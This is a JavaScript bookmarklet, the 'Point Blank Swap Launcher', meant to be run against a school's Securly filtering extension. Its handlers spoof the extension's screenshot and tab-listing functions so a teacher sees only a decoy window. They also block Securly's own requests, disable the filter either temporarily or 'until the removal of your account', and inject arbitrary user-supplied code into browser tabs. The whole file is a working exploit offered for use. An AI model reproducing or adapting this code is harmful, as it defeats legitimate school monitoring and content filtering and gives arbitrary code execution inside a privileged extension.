javascript: (document = window.document),
document.write(
"
[Point Blank Swap Launcher]
---Disabling---
\n ---Scripts---
Custom Notification
Run scripts as background
\n \n \n"
),
document.getElementById("hide").addEventListener(
"click",
function () {
alert(
"This will open a window, which your teacher will only be able to see the window this opens, so open another one after this one opens"
),
(opener.chrome.tabs.captureVisibleTabAsync =
opener.chrome.tabs.captureVisibleTabAsync || screenshot_old);
opener.chrome.windows.getAllAsync =
opener.chrome.windows.getAllAsync || get_tabs_old;
clearInterval(spoof_int);
if (spoof_int) alert("Your teacher can't see your screen now!");
spoof_int = null;
`
: `;
var spoof_int,
visible_id = 0,
screenshot_old =
screenshot_old || opener.chrome.tabs.captureVisibleTabAsync,
get_tabs_old = get_tabs_old || opener.chrome.windows.getAllAsync,
get_tabs_new = function () {
return new Promise((resolve, reject) => {
get_tabs_old({
populate: true,
windowTypes: ["normal"],
}).then((tabs) => {
tabs.forEach((tab) => {
if (tab.id === visible_id) resolve([tab]);
});
});
});
};
opener.chrome.windows.create({ url: "https://google.com" }, (win) => {
visible_id = win.id;
spoof_int = setInterval(() => {
opener.chrome.windows.getLastFocused((window) => {
var visible = window.id === visible_id;
opener.chrome.tabs.captureVisibleTabAsync = visible
? screenshot_old
: null;
opener.chrome.windows.getAllAsync = visible ? get_tabs_new : null;
});
}, 5);
});
},
!1
),
document.getElementById("cool").addEventListener(
"click",
function () {
opener.chrome.windows.create({
url: "https://www.google.com",
type: "popup",
});
},
!1
),
document.getElementById("dns").addEventListener(
"click",
function () {
opener.chrome.webRequest.onBeforeRequest.addListener(
() => {
return { redirectUrl: "javascript:" };
},
{
urls: ["*://*.securly.com/*"],
},
["blocking"]
);
},
!1
),
document.getElementById("notification").addEventListener(
"click",
function () {
opener.chrome.notifications.create(null, {
type: "basic",
iconUrl:
"https://upload.wikimedia.org/wikipedia/en/9/9a/Trollface_non-free.png",
title: "" + document.getElementById("title").value,
message: "" + document.getElementById("messer").value,
});
},
!1
),
document.getElementById("google").addEventListener(
"click",
function () {
alert("Go to google.com to see your code");
javascript:(function(){opener.chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => {
if (changeInfo.status == "complete" && tab.url.includes('google.com')) {
opener.chrome.tabs.executeScript(
tabId, { code: `
` + document.getElementById("code").value
}
);
}
})})()
},
!1
),
document.getElementById("hard").addEventListener(
"click",
function () {
javascript: (localStorage.cluster =
"UNKNOWN_SCHOOL," +
(confirm("This will disable your blocker until the removal of your account, if you want something less permanent use soft disable, continue?")
? 99999999999999
: 0)),
opener.chrome.extension.getBackgroundPage().location.reload();
},
!1
),
document.getElementById("reload").addEventListener(
"click",
function () {
localStorage.cluster = "UNKNOWN_SCHOOL,0";
opener.chrome.runtime.reload();
},
!1
),
document.getElementById("soft").addEventListener(
"click",
function () {
document.getElementById("soft").innerHTML = "Disabled";
opener.chrome.extension.getBackgroundPage().close();
},
!1
),
document.getElementById("when").addEventListener(
"click",
function () {
opener.chrome.browserAction.onClicked.addListener(() => {
opener.chrome.tabs.query(
{ active: true, currentWindow: true },
(tab) => {
opener.chrome.tabs.executeScript(tab[0].id, {
code:
`
` + document.getElementById("code").value,
matchAboutBlank: true,
});
}
);
});
alert("Everytime you click your extension, your code will show");
},
!1
);